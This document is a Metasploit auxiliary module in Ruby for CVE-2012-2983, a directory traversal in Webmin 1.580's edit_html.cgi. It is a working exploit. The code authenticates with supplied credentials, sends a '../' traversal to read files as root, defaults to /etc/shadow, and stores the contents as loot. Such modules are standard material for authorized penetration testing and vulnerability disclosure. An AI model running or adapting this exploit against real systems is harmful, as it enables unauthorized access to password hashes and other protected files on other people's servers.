Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin edit_html.cgi file Parameter Traversal Arbitrary File Access',
      'Description'    => %q{
          This module exploits a directory traversal in Webmin 1.580. The vulnerability
        exists in the edit_html.cgi component and allows an authenticated user with access
        to the File Manager Module to access arbitrary files with root privileges. The
        module has been tested successfully with Webmin 1.580 over Ubuntu 10.04.
      },
      'Author'         => [
        'Unknown', # From American Information Security Group
        'juan vazquez' # Metasploit module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '85247'],
          ['BID', '55446'],
          ['CVE', '2012-2983'],
          ['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-002.pdf'],
          ['URL', 'https://github.com/webmin/webmin/commit/4cd7bad70e23e4e19be8ccf7b9f245445b2b3b80']
        ],
      'DisclosureDate' => '2012-09-06',
      'Actions'        =>
        [
          ['Download', 'Description' => 'Download arbitrary file']
        ],
      'DefaultAction'  => 'Download'
      ))

    register_options(
      [
        Opt::RPORT(10000),
        OptBool.new('SSL', [true, 'Use SSL', true]),
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptInt.new('DEPTH', [true, 'Traversal depth', 4]),
        OptString.new('RPATH', [ true, "The file to download", "/etc/shadow" ])
      ])
  end

  def run

    peer = "#{rhost}:#{rport}"

    print_status("Attempting to login...")

    data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

    res = send_request_cgi(
      {
        'method'  => 'POST',
        'uri'     => "/session_login.cgi",
        'cookie'  => "testing=1",
        'data'    => data
      }, 25)

    if res and res.code == 302 and res.get_cookies =~ /sid/
      session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
      if session and not session.empty?
        print_good "Authentication successful"
      else
        print_error "Authentication failed"
        return
      end
    else
      print_error "Authentication failed"
      return
    end

    print_status("Attempting to retrieve #{datastore['RPATH']}...")

    traversal = "../" * datastore['DEPTH']
    traversal << datastore['RPATH']
    data = "file=#{traversal}&text=1"

    res = send_request_cgi(
      {
        'method'  => 'GET',
        'uri'     => "/file/edit_html.cgi?#{data}",
        'cookie'  => "sid=#{session}"
      }, 25)

    if (res and res.code == 200 and res.body =~ /#{traversal}/ and res.body =~ /name=body>(.*)<\/textarea>/m)
      loot = $1
      f = ::File.basename(datastore['RPATH'])
      path = store_loot('webmin.file', 'application/octet-stream', rhost, loot, f, datastore['RPATH'])
      print_good("#{datastore['RPATH']} saved in #{path}")
    else
      print_error("Failed to retrieve the file")
      return
    end

  end
end